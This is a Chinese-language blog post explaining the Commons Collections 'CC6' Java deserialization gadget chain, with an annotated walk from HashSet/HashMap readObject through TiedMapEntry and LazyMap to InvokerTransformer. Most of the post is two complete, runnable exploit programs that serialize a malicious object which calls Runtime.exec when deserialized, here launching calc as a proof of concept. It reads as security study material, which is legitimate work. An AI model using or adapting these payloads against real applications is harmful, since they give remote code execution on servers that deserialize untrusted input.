javaCC链6

CC6

条件:

commons-conlections<=3.2.1

不限制jdk版本

payload

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
    public static void main(String args[]) throws Exception{
        //反射调用Runtime.exec
//        Class r = Runtime.class;
//        Method exec = r.getMethod("exec",new Class[]{String.class});
//        Method getRuntime = r.getMethod("getRuntime",new Class[]{});
//        Runtime r1 = (Runtime) getRuntime.invoke(null,null);
//        exec.invoke(r1,"calc");

        //通过transformer的transform来实现上述的反射调用Runtime.exec
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//返回一个Runtime的class对象
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),//执行getMethod方法返回一个是getRuntime的Method对象
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),//通过invoke执行getRuntime,返回一个Runtime对象
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//用上一个返回的Runtime对象执行exec方法调用计算器
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"qs");
//        HashMap<Object, Object> hashMap = new HashMap<>();
//        hashMap.put(tiedMapEntry, "3");
//
//        lazymap.remove("qs");
//
//        Class<LazyMap> lazyMapClass = LazyMap.class;
//        Field factoryField = lazyMapClass.getDeclaredField("factory");
//        factoryField.setAccessible(true);
//        factoryField.set(lazymap, chainedTransformer);
//        byte[] bytes = serialize(hashMap);
//        unserialize(bytes);
//        //tiedMapEntry.hashCode();
        HashSet hashSet = new HashSet(1);
        hashSet.add("qs");
        Field f = HashSet.class.getDeclaredField("map");
        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap)f.get(hashSet);
        Field f2 = HashMap.class.getDeclaredField("table");
        Reflections.setAccessible(f2);
        Object[] array = (Object[])((Object[])f2.get(innimpl));
        Object node = array[0];
        Field keyField = node.getClass().getDeclaredField("key");
        Reflections.setAccessible(keyField);
        keyField.set(node, tiedMapEntry);
        byte[] bytes = serialize(hashSet);
        unserialize(bytes);
    }

    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }
    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

链逆向分析

LazyMap

还是transform方法入手,找到LazyMap的get方法

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

这里的this.factory是传入的chainedTransformer,看到LazyMap的构造方法

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

看到protected,不能外不调用,使用LazyMap.decorate调用构造方法,看到decorate:

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

TiedMapEntry

需要找一个方法调用LazyMap.get()

看到TiedMapEntry.getValue:

public Object getValue() {
        return this.map.get(this.key);
    }

看到构造方法,这里的this.map可控(传入LazyMap)

public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

找一个调用TiedMapEntry.getValue的方法

看到TiedMapEntry.hashCode:

public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

HashMap

需要找到一个调用TiedMapEntry.hashCode的方法(该方法内调用谁的hashCode我们要可控,一般是一个类属性,这个属性我们可以通过构造方法控制)

根据URLDNS链的分析我们知道HashMap.hash满足要求,它的key参数通过HashMap.put方法设置,HashMap.put方法的那个key可控

看到HashMap.hash:

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

看到:HashMap.put:

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

HashSet

反序列化最终我们的目的是找到一个readObject去调用我们之前分析到的最后一个方法(这里是HashMap.put)

看到HashSet.readObject:

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }

        // Read load factor and verify positive and non NaN.
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }

        // Read size and verify non-negative.
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " +
                                             size);
        }

        // Set the capacity according to the size and load factor ensuring that
        // the HashMap is at least 25% full but clamping to maximum capacity.
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

可以看到其中:

map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }

只要当前对象不是LinkedHashSet那么map就是一个HashMap,然后会调用map.put

触发链:HashSet.readObject->HashMap.put->HashMap.hash->TiedMapEntry.hashCode->TiedMapEntry.getValue->LazyMap.get->transform方法

非ysoserial-all.jar的cc6

ysoserial-all.jar的cc6利用走hashSet感觉不如直接用HashMap的readObject好理解

直接利用HashMap的readObject的payload:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
    public static void main(String args[]) throws Exception{
        //反射调用Runtime.exec
//        Class r = Runtime.class;
//        Method exec = r.getMethod("exec",new Class[]{String.class});
//        Method getRuntime = r.getMethod("getRuntime",new Class[]{});
//        Runtime r1 = (Runtime) getRuntime.invoke(null,null);
//        exec.invoke(r1,"calc");

        //通过transformer的transform来实现上述的反射调用Runtime.exec
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//返回一个Runtime的class对象
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),//执行getMethod方法返回一个是getRuntime的Method对象
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),//通过invoke执行getRuntime,返回一个Runtime对象
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//用上一个返回的Runtime对象执行exec方法调用计算器
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));//先随意给一个transformer,防止hashMap.put触发
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"qs");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");

        lazymap.remove("qs");//移除hashMap.put给进去的key

        //通过反射获取属性,然后重新设置transformer給factory属性
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, chainedTransformer);
        byte[] bytes = serialize(hashMap);
        unserialize(bytes);

        
    }

    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }
    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

posted @ 2024-08-05 22:24  qingshanboy  阅读(3)  评论(0编辑  收藏  举报